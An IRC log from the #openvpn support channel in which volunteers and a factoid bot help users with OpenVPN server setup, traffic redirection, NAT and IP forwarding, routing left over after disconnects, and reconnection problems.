06:09 < KrissO> (obviously i imported the certs otherwise)
06:11 -!- kirin` [telex@gateway/shell/anapnea.net/x-vbzwqbbwbzbxbhpe] has quit [Ping timeout: 252 seconds]
06:11 < me0615> kriss0, thanks. its more like mine also. but i have lots of push.
06:12 -!- kirin` [telex@gateway/shell/anapnea.net/x-jsypskyyfnpnnnjz] has joined #openvpn
06:12 < KrissO> ok
06:12 < KrissO> i assume bypass is if you want to use your own net
06:12 < KrissO> for those addresses
06:12 < me0615> i really have not tried removing those bypass stuffs, maybe i will try tomorrow at the server.
06:12 < KrissO> right?
06:12 -!- vaillor_ [~vaillor@109.114.230.219] has quit [Quit: Colloquy for iPhone - http://colloquy.mobi]
06:13 < KrissO> ok but surely you use them for a reason?
06:13 < me0615> "if you want to uuse your own net" ?  i think i really have to read again its just somehow i cant understand the construction of the sentence because its not my first language.
06:14 < me0615> actually I did not put those options for a reason. its just i saw it on google and applied it.
06:17 -!- kirin` [telex@gateway/shell/anapnea.net/x-jsypskyyfnpnnnjz] has quit [Ping timeout: 260 seconds]
06:18 -!- me0615 [~me0615@122.2.46.76] has quit []
06:18 -!- kirin` [telex@gateway/shell/anapnea.net/x-kpwllhowmrlxdkyw] has joined #openvpn
06:20 < KrissO> right
06:20 < KrissO> now i understand the welcome and goal part. from this side ;)
06:21 < KrissO> (mind you I did use them)
06:23 -!- kirin` [telex@gateway/shell/anapnea.net/x-kpwllhowmrlxdkyw] has quit [Ping timeout: 240 seconds]
06:25 -!- kirin` [telex@gateway/shell/anapnea.net/x-cwzrwzvpiyldxeqe] has joined #openvpn
06:30 -!- kirin` [telex@gateway/shell/anapnea.net/x-cwzrwzvpiyldxeqe] has quit [Ping timeout: 245 seconds]
06:30 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
06:31 -!- kirin` [telex@gateway/shell/anapnea.net/x-wacgukoyfjlwqwpt] has joined #openvpn
06:33 -!- cpm [~Chip@216.169.175.102] has joined #openvpn
06:33 -!- cpm [~Chip@216.169.175.102] has quit [Changing host]
06:33 -!- cpm [~Chip@pdpc/supporter/active/cpm] has joined #openvpn
06:34 -!- cpm [~Chip@pdpc/supporter/active/cpm] has left #openvpn []
06:36 -!- djc [~djc@gentoo/developer/djc] has joined #openvpn
06:36 < djc> ls -l
06:36 < djc> I started using new udev, which has the predictable interface names
06:36 < djc> now, my openvpn connection won't start
06:37 -!- kirin` [telex@gateway/shell/anapnea.net/x-wacgukoyfjlwqwpt] has quit [Ping timeout: 256 seconds]
06:37 < djc> it seems like the ifconfig command for tun0 isn't working anymore
06:37 < djc> but I'm not even naming tun0 in my config
06:38 -!- kirin` [telex@gateway/shell/anapnea.net/x-lnoqlehgxqpdshbt] has joined #openvpn
06:40 -!- lolyp0p [~lolyp0p@cev75-1-81-57-15-20.fbx.proxad.net] has joined #openvpn
06:42 < lolyp0p> hi all, i'm setting a VPN server for the first time, and I was wondering in what cases open-vpn is a better option than the pptpd package and why,
06:42 < lolyp0p> (to know what package I should use)
06:43 < djc> hmm, reinstalling openvpn seems to have done the trick
06:43 -!- kirin` [telex@gateway/shell/anapnea.net/x-lnoqlehgxqpdshbt] has quit [Ping timeout: 256 seconds]
06:43 < lolyp0p> (not native english speaker and my ifconfig output looks like this : http://paste.ubuntu.com/5667063/)
06:44 -!- kirin` [telex@gateway/shell/anapnea.net/x-sdyxnsuwufqlwvuk] has joined #openvpn
06:44 <@krzee> lolyp0p, pptp is insecure
06:44 <@krzee> !pptp
06:45 <@vpnHelper> "pptp" is (#1) PPTP is known to be a faulty protocol. The designers of the protocol, Microsoft, recommend not to use it due to the inherent risks. Lots of people use PPTP anyway due to ease of use, but that doesn't mean it is any less hazardous. The maintainers of PPTP Client and Poptop recommend using OpenVPN (SSL based) or IPSec instead. http://pptpclient.sourceforge.net/protocol-security.phtml to
06:45 <@vpnHelper> read about why to not use pptp or (#2) Why not to use it: http://en.wikipedia.org/wiki/Pptp#Security or (#3) https://www.cloudcracker.com/blog/2012/07/29/cracking-ms-chap-v2/
06:46 < lolyp0p> okey, any good guide on how to set a openvpn server? (server on ubuntu 10.04, can only acces via ssh)
06:46 < lolyp0p> ?
06:47 < lolyp0p> (and any advice/warning on how not to lose internet connection on the server during the setting up would be great, if I cannot acces it through ssh, I have to do a 6ours-train-trip to connect it again...)
06:48 <@krzee> !howto
06:48 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
06:49 -!- kirin` [telex@gateway/shell/anapnea.net/x-sdyxnsuwufqlwvuk] has quit [Ping timeout: 246 seconds]
06:51 < lolyp0p> that look like enough documentation :), thanks, any "secret advice" on how not to lose internet connection for even one operation? (or on what step of the setting up I should care more)
06:51 -!- kirin` [telex@gateway/shell/anapnea.net/x-lekytobthmfxvbfx] has joined #openvpn
06:52 <@krzee> !goal
06:52 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
06:52 < lolyp0p> !goal
06:52 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
06:54 < lolyp0p> i'd like to access to the internet with my computer with my server's-IP whereever I am,
06:54 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
06:54 <@krzee> !redirect
06:54 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
06:54 <@vpnHelper> http://ircpimps.org/redirect.png
06:54 <@krzee> what os is the server?
06:55 < lolyp0p> ubuntu 10.04
06:55 <@krzee> !linnat
06:55 <@vpnHelper> "linnat" is (#1) for a basic iptables NAT where 10.8.0.x is the vpn network: iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE or (#2) to choose what IP address to NAT as, you can use iptables -t nat -I POSTROUTING -o eth0 -j SNAT --to <IP ADDRESS> or (#3) http://netfilter.org/documentation/HOWTO//NAT-HOWTO.html for more info or (#4) openvz see !openvzlinnat
06:55 <@krzee> !linipforward
06:55 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
06:56 <@krzee> only way you could lock yourself out is by messing up your firewall, your vpn won't pose a threat
06:56 -!- kirin` [telex@gateway/shell/anapnea.net/x-lekytobthmfxvbfx] has quit [Ping timeout: 260 seconds]
06:57 -!- kirin` [telex@gateway/shell/anapnea.net/x-ucmfwuhoqwodmgfx] has joined #openvpn
07:01 -!- trow [~xxx@ip-static-94-242-205-4.as5577.net] has joined #openvpn
07:02 -!- kirin` [telex@gateway/shell/anapnea.net/x-ucmfwuhoqwodmgfx] has quit [Ping timeout: 240 seconds]
07:04 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 245 seconds]
07:04 -!- kirin` [telex@gateway/shell/anapnea.net/x-imztkvkrnvfnvhlf] has joined #openvpn
07:04 < trow> Is there a simple way to add a static route to the --remote host PRIOR to connecting the VPN?
07:05 -!- ade_b [~Ade@koln-4d0b020b.pool.mediaWays.net] has joined #openvpn
07:05 -!- ade_b [~Ade@koln-4d0b020b.pool.mediaWays.net] has quit [Changing host]
07:05 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
07:09 -!- kirin` [telex@gateway/shell/anapnea.net/x-imztkvkrnvfnvhlf] has quit [Ping timeout: 240 seconds]
07:10 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has quit [Remote host closed the connection]
07:10 -!- benedikt [~benedikt@unaffiliated/benedikt] has quit [Ping timeout: 256 seconds]
07:11 -!- benedikt [~benedikt@unaffiliated/benedikt] has joined #openvpn
07:11 -!- kirin` [telex@gateway/shell/anapnea.net/x-lovcommkeyqluqbo] has joined #openvpn
07:16 -!- kirin` [telex@gateway/shell/anapnea.net/x-lovcommkeyqluqbo] has quit [Ping timeout: 255 seconds]
07:17 -!- kirin` [telex@gateway/shell/anapnea.net/x-xugemwgutnihmkne] has joined #openvpn
07:22 -!- kirin` [telex@gateway/shell/anapnea.net/x-xugemwgutnihmkne] has quit [Ping timeout: 240 seconds]
07:23 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 246 seconds]
07:24 -!- kirin` [~kirin`@gateway/shell/anapnea.net/x-dyyyztmohwajjppq] has joined #openvpn
07:25 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
07:25 -!- mode/#openvpn [+o plaisthos] by ChanServ
07:25 -!- vaillor_ [~vaillor@109.114.230.219] has joined #openvpn
07:26 < vaillor_> Guys, Why connection won't ruote Eugenio i connect tgrought vpn?
07:27 < vaillor_> *when
07:28 < vaillor_> Maybe do i need to set other things in server hostess?
07:29 -!- kirin` [~kirin`@gateway/shell/anapnea.net/x-dyyyztmohwajjppq] has quit [Ping timeout: 260 seconds]
07:30 -!- kirin` [telex@gateway/shell/anapnea.net/x-gnvvpzukcccsbvfw] has joined #openvpn
07:34 -!- djc [~djc@gentoo/developer/djc] has left #openvpn []
07:35 -!- vaillor_ [~vaillor@109.114.230.219] has quit [Quit: Colloquy for iPhone - http://colloquy.mobi]
07:36 -!- kirin` [telex@gateway/shell/anapnea.net/x-gnvvpzukcccsbvfw] has quit [Ping timeout: 252 seconds]
07:37 -!- kirin` [~kirin`@gateway/shell/anapnea.net/x-eikexdmuujwlkbox] has joined #openvpn
07:38 -!- Mr_Worldwide [~Mr_Worldw@87.119.220.143] has joined #openvpn
07:38 < Mr_Worldwide> hi everything works fine for me but a little proble
07:39 < Mr_Worldwide> when i established an connection with openvpn over terminal and i will surf without vpn then i close the temrinal but after that i have no connection to everything
07:40 < Mr_Worldwide> i must reboot
07:41 < Mr_Worldwide> but i will switch without reboot
07:42 < Mr_Worldwide> its good for security but how can i surf without vpn after i close the terminal sequence completed press x terminal
07:42 -!- kirin` [~kirin`@gateway/shell/anapnea.net/x-eikexdmuujwlkbox] has quit [Ping timeout: 260 seconds]
07:43 -!- kirin` [telex@gateway/shell/anapnea.net/x-brdylulsjiokbsar] has joined #openvpn
07:44 < Mr_Worldwide> you know what i mean?
07:44 <@EugeneKay> !def1
07:44 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
07:44 < Mr_Worldwide> how can i stop the daemon or so however i will surf with and without vpn on the same session without reboot
07:46 < Mr_Worldwide> is that an answer?
07:46 < jzaw> Mr_Worldwide, what routes are left when you /etc/init.d/openvpn stop  ?
07:46 < jzaw> you have to make sure taking down the vpn restores the previous normal routes
07:46 < Mr_Worldwide> no im make just close the terminal
07:46 < Mr_Worldwide> i make
07:47 < jzaw> how do you start openvpn?
07:47 < Mr_Worldwide> with sudo openvpn --config " file "
07:47 < Mr_Worldwide> yes
07:47 < jzaw> ah sure
07:47 < jzaw> and have you checked what routes are left over?
07:47 < jzaw> when you close the term
07:47 < Mr_Worldwide> and no
07:48 < jzaw> that would be a start
07:48 < Mr_Worldwide> must i stop that in the temrinal not just close the temrinal?
07:48 < jzaw> maybe you have an up script that sets some routing or iptables
07:48 < jzaw> ?
07:48 < jzaw> which needs to be reversed
07:49 < Mr_Worldwide> i think not
07:49 < jzaw> anyway ... close the term
07:49 < jzaw> then open a new one and check what routes you have
07:49 -!- kirin` [telex@gateway/shell/anapnea.net/x-brdylulsjiokbsar] has quit [Ping timeout: 252 seconds]
07:50 < Mr_Worldwide> how can i do that?
07:50 < jzaw> you on linux ?
07:50 < Mr_Worldwide> ubuntu
07:50 < jzaw> sudo ip route show
07:50 -!- kirin` [telex@gateway/shell/anapnea.net/x-rkubzjhlyvmllkmh] has joined #openvpn
07:50 < jzaw> or
07:50 < jzaw> sudo route -an
07:50 < Mr_Worldwide> and after that?
07:51 -!- lolyp0p [~lolyp0p@cev75-1-81-57-15-20.fbx.proxad.net] has quit [Ping timeout: 246 seconds]
07:51 < jzaw> actually you might not need sudo with the ip command
07:51 < jzaw> look for a default gw
07:52 -!- Mr_Worldwide [~Mr_Worldw@87.119.220.143] has quit [Remote host closed the connection]
07:55 -!- kirin` [telex@gateway/shell/anapnea.net/x-rkubzjhlyvmllkmh] has quit [Ping timeout: 256 seconds]
07:57 -!- kirin` [telex@gateway/shell/anapnea.net/x-hgxtlunbkmbeeugw] has joined #openvpn
07:59 -!- Mr_Worldwide [~Mr_Worldw@87.119.220.143] has joined #openvpn
08:00 < Mr_Worldwide> what now?
08:01 < MacGyver> Mr_Worldwide: You can send ctrl+C in the terminal instead of closing it.
08:01 < MacGyver> Mr_Worldwide: Also, can you simply pastebin the output of "ip route show" somewhere?
08:02 < Mr_Worldwide> is that angerous?
08:02 < Mr_Worldwide> d
08:02 -!- kirin` [telex@gateway/shell/anapnea.net/x-hgxtlunbkmbeeugw] has quit [Ping timeout: 245 seconds]
08:02 < Mr_Worldwide> when i post the gateways
08:03 -!- kirin` [telex@gateway/shell/anapnea.net/x-vtosmazjdfgkblny] has joined #openvpn
08:04 < MacGyver> It's just IP addresses. Don't pastebin them publicly, somebody might think it's a nice target, but if you use a private pastebin such as privatepaste.com which doesn't list new pastes, then no.
08:04 < Mr_Worldwide> but you can see
08:04 < Mr_Worldwide> and the another
08:05 < MacGyver> Yes. But still, it's just IP-addresses.
08:05 < Mr_Worldwide> ok i post
08:08 < Mr_Worldwide> no one can access my computer after i post that really?
08:09 -!- kirin` [telex@gateway/shell/anapnea.net/x-vtosmazjdfgkblny] has quit [Ping timeout: 256 seconds]
08:09 < trow> Anyone know how to add a static route for --remote PRIOR to connecting? (like redirect-gateway does AFTER connect)
08:09 -!- kirin` [telex@gateway/shell/anapnea.net/x-nsnoaauuqaptmfrb] has joined #openvpn
08:11 < Mr_Worldwide> what do the other think can i post?
08:14 -!- kirin` [telex@gateway/shell/anapnea.net/x-nsnoaauuqaptmfrb] has quit [Ping timeout: 240 seconds]
08:16 -!- kirin` [telex@gateway/shell/anapnea.net/x-wqzjpjzqhmpogtfz] has joined #openvpn
08:18 < Mr_Worldwide> i will just switch from vpn to normal....
08:18 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
08:19 < Mr_Worldwide> any wki about?
08:20 < Mr_Worldwide> restarting the network manager or other things to do?
08:20 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Client Quit]
08:21 -!- kirin` [telex@gateway/shell/anapnea.net/x-wqzjpjzqhmpogtfz] has quit [Ping timeout: 240 seconds]
08:21 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
08:22 < Mr_Worldwide> must i really post the gateways before you can help?
08:22 < ecrist_> !goal
08:22 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
08:22 -!- kirin` [telex@gateway/shell/anapnea.net/x-biziyiyfexbryijp] has joined #openvpn
08:23 < Mr_Worldwide> !goal
08:23 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
08:24 < Mr_Worldwide> !fix
08:24 < Mr_Worldwide> come on pls
08:27 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
08:27 -!- kirin` [telex@gateway/shell/anapnea.net/x-biziyiyfexbryijp] has quit [Ping timeout: 245 seconds]
08:28 -!- lolyp0p [~lolyp0p@cev75-1-81-57-15-20.fbx.proxad.net] has joined #openvpn
08:29 -!- kirin` [telex@gateway/shell/anapnea.net/x-unhfqqzudvtndynl] has joined #openvpn
08:34 -!- kirin` [telex@gateway/shell/anapnea.net/x-unhfqqzudvtndynl] has quit [Ping timeout: 256 seconds]
08:35 < trow> Mr_Worldwide: in your config file; redirect-gateway def1
08:35 -!- kirin` [telex@gateway/shell/anapnea.net/x-gmjgwsudugmbavyo] has joined #openvpn
08:36 < Mr_Worldwide> the config files in /etc/openvpn?
08:37 -!- Valcorb|| [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
08:37 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Read error: Connection reset by peer]
08:38 < trow> the config file that you use. whereever it may be
08:38 < Mr_Worldwide> i use the .ovpn files from www.vpngate.net just copy that into the folder and connect
08:40 -!- Valcorb|| [~Valcorb@d54C68BC0.access.telenet.be] has quit [Client Quit]
08:40 < trow> then alter the redirect-gateway line to include def1
08:41 -!- kirin` [telex@gateway/shell/anapnea.net/x-gmjgwsudugmbavyo] has quit [Ping timeout: 256 seconds]
08:41 < trow> vpngate.net is giving you a config that leaves your routers destroyed.
08:41 < trow> routes*
08:42 -!- kirin` [telex@gateway/shell/anapnea.net/x-rhosdtgztxarjjis] has joined #openvpn
08:42 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit [Ping timeout: 245 seconds]
08:43 < Mr_Worldwide> jo but there is no .config and can i change the .ovpn files or must i do that?
08:43 < trow> you must change your so called .ovpn file you're getting.
08:44 < Mr_Worldwide> redirect-gateway def1 not more to add?
08:45 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
08:46 < trow> that's the only thing needed to fix your issue.
08:47 -!- kirin` [telex@gateway/shell/anapnea.net/x-rhosdtgztxarjjis] has quit [Ping timeout: 245 seconds]
08:47 -!- Mr_Worldwide [~Mr_Worldw@87.119.220.143] has quit [Read error: Connection reset by peer]
08:48 -!- kirin` [telex@gateway/shell/anapnea.net/x-oibcfdmweebllzbn] has joined #openvpn
08:51 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
08:54 -!- kirin` [telex@gateway/shell/anapnea.net/x-oibcfdmweebllzbn] has quit [Ping timeout: 260 seconds]
08:55 -!- kirin` [telex@gateway/shell/anapnea.net/x-lsqqkolktsnhrvye] has joined #openvpn
08:55 -!- u0m3 [~Radu@92.80.103.84] has quit [Read error: Connection reset by peer]
08:57 -!- kirin` [telex@gateway/shell/anapnea.net/x-lsqqkolktsnhrvye] has quit [Read error: Connection reset by peer]
08:58 -!- kirin` [telex@gateway/shell/anapnea.net/x-vwjmsqsjubafluky] has joined #openvpn
09:00 -!- u0m3 [~Radu@92.80.78.255] has joined #openvpn
09:03 < rob0> kirin`, haha, another channel
09:03 -!- mode/#openvpn [+o rob0] by ChanServ
09:03 -!- mode/#openvpn [+b-o *!telex@gateway/shell/anapnea.net/x-*$##fix_your_connection rob0] by rob0
09:05 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
09:18 < lolyp0p> hi all, I'm triing to apply this step-by-step on a server of mine : https://help.ubuntu.com/community/OpenVPN , but I made an error somewhere and lost connectivity, as it's on a ssh server, i'd like it not to happend again(cannot ask the support guy to restart my server every 2 ours...), i'm still at setting "/etc/network/interfaces", mine initially looks like : http://paste.ubuntu.com/5667452/ and
09:18 < lolyp0p>  I don't understand how I should change it,(if I add what is asked it says I use auto too much)
09:18 <@vpnHelper> Title: OpenVPN - Community Ubuntu Documentation (at help.ubuntu.com)
09:19 < lolyp0p> (or it deconnect, what is really annoying as I have no easy physical acces to the server)
09:19 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
09:19 < lolyp0p> !welcome
09:19 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
09:19 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
09:22 -!- xtz [xtz@DeathStar.Techn0.eu] has quit [Quit: Lost terminal]
09:23 < lolyp0p> my main goal is to set up a bridged vpn server on a server of mine so I can use its IP to acces internet and so I can have a more direct connection to it,(still don't have further needs, but I plan on learning a lot later via this server, and it may be a usefull feature)
09:25 < rob0> !whybridge
09:25 <@vpnHelper> "whybridge" is (#1) you only bridge if you want layer2 to the lan. if you want layer2 only between vpn nodes then routed tap is enough. if you only want layer3 use tun. or (#2) See this URL for a more in-depth discussion on bridging vs routing: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting
09:28 < lolyp0p> actually I already read this, and I want a routed VPN... I just confused myself while writing the previous message... sorry,(english isn't my main language so I sometimes switch two terms)
09:29 < lolyp0p> so yeah, want a routing vpn, not a bridged one,
09:29 < rob0> the flowchart might be a good starting point:
09:29 < rob0> !redirect
09:29 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
09:29 <@vpnHelper> http://ircpimps.org/redirect.png
09:30 -!- JesseC [~JesseCWor@wsip-98-175-20-126.br.br.cox.net] has joined #openvpn
09:37 < lolyp0p> that chart is to troubleshoot a already set vpn connection, isn't it? for now I only installed openvpn, if I try to connect to the server, the server "actively refuse the connection",
09:37 -!- mistik1 [~mistik1@69.160.121.97] has joined #openvpn
09:42 < rob0> sounds like a firewall, as per /topic
09:43 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 256 seconds]
09:49 -!- mistik1 [~mistik1@69.160.121.97] has quit [Quit: leaving]
09:52 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
09:59 -!- mode/#openvpn [+o rob0] by ChanServ
09:59 -!- mode/#openvpn [-bo *!telex@gateway/shell/anapnea.net/x-*$##fix_your_connection rob0] by rob0
10:01 -!- lolyp0p [~lolyp0p@cev75-1-81-57-15-20.fbx.proxad.net] has quit [Quit:  HydraIRC -> http://www.hydrairc.com <- Now with extra fish!]
10:03 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has joined #openvpn
10:04 -!- raidz_away is now known as raidz
10:05 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit []
10:09 -!- Denial [~Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit []
10:12 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has joined #openvpn
10:23 -!- Denial [~Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
10:27 -!- troll is now known as jtrucks
10:28 -!- jtrucks [jtrucks@freenode/staff/lopsa.board.jtrucks] has quit [Changing host]
10:28 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
10:30 -!- sailerboy [~Alex@pool-108-0-135-86.lsanca.fios.verizon.net] has joined #openvpn
10:33 -!- bkrieg1337 [~bkrieg133@120.28.171.16] has quit [Quit: Leaving]
10:37 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Quit: Reconnecting]
10:37 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
10:40 -!- joshie_ is now known as joshie
10:41 < vaillor> krzee
10:41 < vaillor> --duplicate-cn
10:41 < vaillor> i do not use the same cert over many clients
10:45 < vaillor> !man
10:45 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
10:46 < vaillor> another question is: why vpn doesn't route?
11:07 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
11:14 -!- Phibs [seitz@unaffiliated/phibs] has joined #openvpn
11:14 < Phibs> I upgraded from 2.2 to 2.3 via official packages, and now my bridge won't come up on ubuntu (Both ends using same version)
11:14 < Phibs> any ideas?
11:15 < Phibs> using this as up.sh: http://pastie.org/7269722
11:16 -!- Denial [~Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit []
11:17 < Phibs> (no firewall)
11:18 < Phibs> bits are flowing between the two hosts via 1194 just not working as a bridge properly
11:19 < jzaw> Phibs, does the bridge exist before you up openvpn?
11:19 < Phibs> dun think so
11:19 < Phibs> weird, when I started tcpdump then the bridge started working...
11:20 < jzaw> cant addif to a br if the br is missin
11:20 -!- Denial [~Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
11:20 < Phibs> jzaw: worked before the uprade in 2.2
11:20 < Phibs> so I dunno
11:20 < jzaw> but you need to check .... ifconfig ?
11:21 < Phibs> I take that back
11:21 < Phibs> it does exist
11:21 < jzaw> brctl show
11:21 < Phibs> yep
11:21 < Phibs> br0             8000.000c293438bc       no              eth1
11:21 < Phibs> (with ovpn off)
11:22 < Phibs> friggin weird its working now
11:22 < Phibs> rebooted both and waited a few minutes and it wasn't working :(
11:22 < jzaw> dont you just love inexplicable intermittent faults :D
11:22 < Phibs> ;0
11:22 < Phibs> thanks for helping sir
11:22 < jzaw> np
11:22 < Phibs> (or at least trying)
11:22 < Phibs> have a good one
11:22 -!- Phibs [seitz@unaffiliated/phibs] has left #openvpn []
11:22 < jzaw> maybe your vpn wasnt up ... andyou were still waiting for up.sh to execute
11:22 < jzaw> ah hes gone
11:23 < vaillor> guys, i need that the client goes in internet trought vpn, is there a way to make it?
11:24 < rob0> !redirect
11:24 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
11:24 <@vpnHelper> http://ircpimps.org/redirect.png
11:25 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 260 seconds]
11:26 < vaillor> !def1
11:26 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
11:26 < vaillor> !ipforward
11:26 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
11:27 < vaillor> !linipforward
11:27 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
11:28 < vaillor> ok, so i need to do all these thing on the server
11:28 < vaillor> and on the client, what i need to do?
12:51 -!- raidz is now known as raidz_away
13:01 < vaillor> read UDPv4 [ECONNREFUSED]: Connection refused (code=111)
13:06 < jzaw> vaillor, is your server end firewalled?
13:06 < jzaw> open upd 1194
13:06 < vaillor> no, it is connecting
13:06 < jzaw> ah
13:06 < jzaw> k
13:06 < vaillor> but everytime it disconnects
13:06 < vaillor> and renews ip
13:06 < vaillor> 10.8.0.2 was the first ip
13:06 < vaillor> now i'm on 10.8.0.195
13:07 < vaillor> it continuosly dieconnects and reconnects itself
13:08 < jzaw> pastebin your confs
13:08 < jzaw> sounds like you need to persist-tun ? (though im no expert)
13:09 < vaillor> http://pastebin.com/ai7qZB0d
13:09 < vaillor> i don't know why it disconnects many times per minute
13:10 < vaillor> is it a continuous connection/disconnection
13:10 < vaillor> and reconnection
13:10 < jzaw> duplicate-cn
13:10 < jzaw> youve got many clients using the same cert?
13:11 < vaillor> no
13:11 < vaillor> i tried also with removing it
13:11 < vaillor> but it is the same
13:11 < jzaw> hash it out for now
13:11 < jzaw> also maybe try tun0 rather than tun
13:12 < jzaw> on your server box you dont have like a nearly 200 tun interfaces?
13:12 < vaillor> no
13:12 < jzaw> hmmm anything in the logs?
13:12 < jzaw> pastebin the logs
13:13 < vaillor> http://sprunge.us/cAQB
13:17 -!- sailerboy [~Alex@pool-108-0-135-86.lsanca.fios.verizon.net] has quit [Ping timeout: 246 seconds]
13:17 < jzaw> MULTI: multi_create_instance called
13:17 -!- jtrucks is now known as troll
13:18 < jzaw> is this relevant ?
13:18 < jzaw> can you traceroute to the openvpn server?
13:18 < jzaw> prefer mtr if you have it
13:18 < jzaw> i mean via your normal nat
13:20 -!- raidz_away is now known as raidz
13:21 < vaillor> jzaw traceroute what?
13:24 < jzaw> mtr <ip of openvpn server>
13:24 < jzaw> im suspecting something about your router
13:26 -!- pcdummy is now known as Fast[BDC]
13:27 < vaillor> mtr?
